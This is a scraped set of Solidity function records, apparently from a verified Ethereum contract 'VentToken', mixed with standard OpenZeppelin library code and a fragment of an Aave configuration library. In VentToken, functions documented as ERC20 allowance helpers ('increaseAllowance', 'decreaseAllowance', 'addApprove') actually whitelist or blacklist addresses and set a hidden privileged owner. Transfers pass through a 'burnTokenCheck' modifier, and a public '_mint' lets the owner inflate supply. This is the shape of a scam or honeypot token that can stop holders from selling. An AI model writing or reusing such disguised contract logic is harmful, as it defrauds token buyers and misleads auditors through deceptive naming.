library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
sendValue
function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address...
/** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `tr...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 2160, 2562 ] }
22,663
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); }
/** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw ...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 3318, 3496 ] }
22,664
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 3721, 3922 ] }
22,665
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 4292, 4523 ] }
22,666
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); }
/** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 4774, 5095 ] }
22,667
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 94, 154 ] }
22,668
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 237, 310 ] }
22,669
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 534, 616 ] }
22,670
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 895, 983 ] }
22,671
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate ...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 1647, 1726 ] }
22,672
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
IERC20
interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 2039, 2141 ] }
22,673
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
name
function name() public view returns (string memory) { return _name; }
/** * @dev Returns the name of the token. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 1476, 1564 ] }
22,674
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
symbol
function symbol() public view returns (string memory) { return _symbol; }
/** * @dev Returns the symbol of the token, usually a shorter version of the * name. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 1678, 1770 ] }
22,675
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decimals
function decimals() public view returns (uint8) { return _decimals; }
/** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 2403, 2491 ] }
22,676
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
totalSupply
function totalSupply() public view override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 2551, 2656 ] }
22,677
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 2714, 2838 ] }
22,678
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 3046, 3230 ] }
22,679
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 3777, 3933 ] }
22,680
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 4075, 4249 ] }
22,681
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; }
/** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amou...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 4718, 5048 ] }
22,682
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 5452, 5743 ] }
22,683
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 6241, 6389 ] }
22,684
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
addApprove
function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` c...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 6804, 7088 ] }
22,685
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances...
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. *...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 7575, 8123 ] }
22,686
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 8399, 8705 ] }
22,687
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _to...
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 9032, 9455 ] }
22,688
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_approve
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount)...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 9890, 10239 ] }
22,689
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_approveCheck
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(send...
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 10684, 11276 ] }
22,690
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_setupDecimals
function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; }
/** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 12995, 13090 ] }
22,691
VentToken
VentToken.sol
0xec62dbd2b4799beef76789981b8857d986d90e1b
Solidity
VentToken
contract VentToken is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; ...
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our...
NatSpecMultiLine
_beforeTokenTransfer
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
/** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * -...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://3648f8e0af272569cf437c08f03e4a5593b231c474dfd49a35e844385cba63a6
{ "func_code_index": [ 13688, 13785 ] }
22,692
LendingPool
contracts/protocol/libraries/configuration/ReserveConfiguration.sol
0xc6845a5c768bf8d7681249f8927877efda425baf
Solidity
ReserveConfiguration
library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant ...
/** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */
NatSpecMultiLine
setLtv
